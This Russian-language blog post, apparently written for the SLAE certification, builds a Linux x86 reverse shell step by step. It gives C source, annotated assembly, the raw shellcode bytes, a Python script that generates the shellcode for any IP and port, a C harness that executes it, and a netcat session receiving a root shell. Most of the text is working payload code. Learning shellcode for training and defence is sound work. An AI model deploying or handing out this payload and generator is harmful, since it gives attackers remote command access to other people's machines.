Всем привет

В предыдущей статье я объяснил, как создать программу оболочки связывания на ассемблере.

Теперь я хотел бы попробовать создать двоичный файл обратной оболочки с помощью сборки. Концепция буквально такая же (даже проще по сравнению с предыдущей). Мы создадим соединение между клиентом и сервером, и клиентская сторона перенаправит весь ввод-вывод из / bin / sh в сокет.

Теперь позвольте мне использовать этот код C в качестве отправной точки для создания шелл-кода сборки, взятого из (https://gist.githubusercontent.com/0xabe-io/916cf3af33d1c0592a90/raw/eaa527fc66ddde5a8a4a95c02e86bf6f7e96982e/reverse

/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "127.1.1.1"
#define REMOTE_PORT 55555

int main(int argc, char *argv[])
{
    struct sockaddr_in sa;
    int s;

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    sa.sin_port = htons(REMOTE_PORT);

    s = socket(AF_INET, SOCK_STREAM, 0);
    connect(s, (struct sockaddr *)&sa, sizeof(sa));
    dup2(s, 0);
    dup2(s, 1);
    dup2(s, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

Сейчас я использую REMOTE_ADDR как localhost (127.1.1.1) и REMOTE_PORT как 55555

Вы можете скомпилировать это и запустить с прослушивателем netcat

Создать дескриптор сокета

Взгляните на этот код

s = socket(AF_INET, SOCK_STREAM, 0);

На первом этапе создадим дескриптор сокета. Этот код в сборке имеет такую ​​структуру

eax <- 0x66 (SYS_SOCKET call)
ebx <- 0x1  (SYS_CREATE)
ecx <- Stack reference to these parameters (AF_INET, SOCK_STREAM, 0)

Сначала мы назначаем параметр регистрам eax и ebx

push	0x66
pop	eax
push	0x1
pop	ebx

Теперь у нас есть другая техника для назначения параметров eax и ebx. Как вы можете сравнить с предыдущей статьей, мы больше не инициализируем регистры в первую очередь.

Это улучшение, о котором я говорю, мы используем технику стека PUSH-POP для назначения регистров.

Теперь мы собираемся собрать стек для регистра ecx. Структура стека будет такой

AF_INET (value: 2)
SOCK_STREAM (value: 1)
0

Помните, что стек использует метод LIFO, поэтому нам нужно поместить каждое значение в обратном порядке.

xor	edx, edx	;; getting 0 on edx
push	edx		;; 0 (param 3 for socket)
push	ebx		;; 1 (param 2, SOCK_STREAM)
push	0x2		;; 2 (param 1, AF_INET)
mov	ecx, esp	;; move all of them to ecx

Не забудьте переместить ссылку стека в регистр ecx. Затем поместите прерывание для вызова системного вызова сокета

int	0x80

Подключиться к серверу

Проверьте этот фрагмент кода

sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
connect(s, (struct sockaddr *)&sa, sizeof(sa));

Для функции connect () мы установим регистры eax и ebx.

eax <- 0x66 (SYS_SOCKET call)
ebx <- 0x3 (SYS_CONNECT function)

Затем нам нужно создать регистр ecx, который будет иметь такой стек

(s, (struct sockaddr *)&sa, sizeof(sa));

Итак, в стеке должно быть вот такое

s (value: socket_descriptor in eax on prev call)
sa ->
      AF_INET     (value: 2)
      REMOTE_ADDR (value: 0x0101017f (127.1.1.1 in reversed order))
      REMOTE_PORT (value: 0x03d9 (55555 in hex reversed order))
sizeof(sa) (value: 16)

Как вы понимаете, сначала мы начнем с переменной sa. Затем переместите ссылку на стек в ecx.

push	0x0101017f	;;IP Number "127.1.1.1" in hex reverse order
push    word 0x03d9     ;;Port Number 55555 in hex reverse order
push	word 0x2	;;for AF_INET
mov	ecx, esp	;;save the structure to ecx

Затем мы переходим к параметру подключения. Не забывайте, что переменная s - это socket_descriptor, который возвращается в регистре eax.

Итак, теперь это структура стека, прежде чем мы передадим ее в функцию connect () в качестве параметра.

s          (value: socket_descriptor in eax on prev call)
ecx        (value: see above)
sizeof(sa) (value:16)

Сейчас в сборке

;;creating parameter for connect()
push	0x10		;;sizeof (structure)
push	ecx		;;socket structure above (sa variable)
push	eax		;;socket descriptor that returned from above
mov	ecx, esp	;;save the structure to ecx for connect() parameter

Не забудьте установить регистры eax и ebx, я объяснил это выше. Затем вызовите функцию с прерыванием

;;calling connect()
mov	al, 0x66	;;for SYSCALL_SOCKET 0x66
mov	bl, 0x3		;;SYS_CONNECT 0x3
int	0x80		;;everything set, call connect()

Перенаправить ввод-вывод в сокет с помощью dup2 ()

Я считаю эту подтему дубликатом предыдущей статьи. Советуем вам перечитать эту статью: https://medium.com/@habibiefaried/slae-0x1-creating-linux-x86-bind-shellcode-with-assembly-5aee2b7b7b5d

Вызов execve

Я считаю эту подтему дубликатом предыдущей статьи. Советуем вам перечитать эту статью: https://medium.com/@habibiefaried/slae-0x1-creating-linux-x86-bind-shellcode-with-assembly-5aee2b7b7b5d

Попробуйте шеллкод

Я считаю эту подтему дубликатом предыдущей статьи. Советуем вам перечитать эту статью: https://medium.com/@habibiefaried/slae-0x1-creating-linux-x86-bind-shellcode-with-assembly-5aee2b7b7b5d

Дамп шеллкода

Прежде чем мы продолжим, это мой полный исходный код, связанный с этой статьей: https://raw.githubusercontent.com/habibiefaried/SLAE/master/2-RevShell.nasm

Скомпилируйте шелл-код с помощью nasm и выгрузите его двоичный файл с помощью commandline-fu

$objdump -d ./2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Это результат

\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x68\x7f\x01\x01\x01\x66\x68\xd9\x03\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80

Поместите это в генератор шелл-кода позже

Генератор шелл-кода

В качестве требования SLAE указано, что этот шелл-код должен легко генерироваться с настраиваемым портом и IP-адресом. Итак, я создаю этот скрипт на Python

import sys
import struct
if (len(sys.argv) < 3):
 print "IP and Port required"
else:
 IP_ADDR = sys.argv[1].split(".")
 PORT = sys.argv[2]
 ipaddr_hex = "\\x"+struct.pack('<L',int(IP_ADDR[0])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(IP_ADDR[1])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(IP_ADDR[2])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(IP_ADDR[3])).encode('hex')[:2]
 port_hex = "\\x"+struct.pack('<L',int(PORT)).encode('hex')[2:4]+"\\x"+struct.pack('<L',int(PORT)).encode('hex')[:2]
 print "\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xd2\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x68"+ipaddr_hex+"\\x66\\x68"+port_hex+"\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x50\\x89\\xe1\\xb0\\x66\\xb3\\x03\\xcd\\x80\\x31\\xc9\\xb0\\x3f\\xcd\\x80\\x41\\xb0\\x3f\\xcd\\x80\\x41\\xb0\\x3f\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xcd\\x80"

И последнее, тестирование шеллкода.

Сгенерируйте шелл-код с помощью приведенного выше сценария и поместите его в наш тестер шелл-кода c. В этом примере я буду использовать localhost с портом 44444.

# python SLAE/RevShellGenerator.py 127.1.1.2 44444
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x68\x7f\x01\x01\x02\x66\x68\xad\x9c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80

Затем поместите его в shellcode.c, это скелет

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"PUT SHELLCODE HERE";
main()
{
printf("Shellcode Length:  %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Не забудьте сначала прослушать netcat. Затем запустите шеллкод

# nc -lvp 44444
listening on [any] 44444 ...
connect to [127.1.1.2] from localhost [127.0.0.1] 56188
id
uid=0(root) gid=0(root) groups=0(root)
ls
1
1.nasm

Примечания

Создать обратную оболочку намного проще, чем привязать оболочку. Это потому, что вам нужно использовать только 1 функцию (соединение) по сравнению с оболочкой привязки. А также я уже представил технику PUSH-POP для перемещения значения в регистры.

Может быть, вам интересно, почему я использую технику PUSH-POP вместо простого хода с начальным значением. Я оставляю этот вопрос для вас в качестве домашнего задания: D. Так что вы можете попробовать сами и увидеть разницу.

Спасибо за чтение! :)

Наилучшие пожелания,

Хабиби Фарид
[email protected]
@habibiefaried

Это сообщение в блоге было создано для выполнения требований сертификации SecurityTube Linux Assembly Expert:

Http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Студенческий билет: SLAE-1156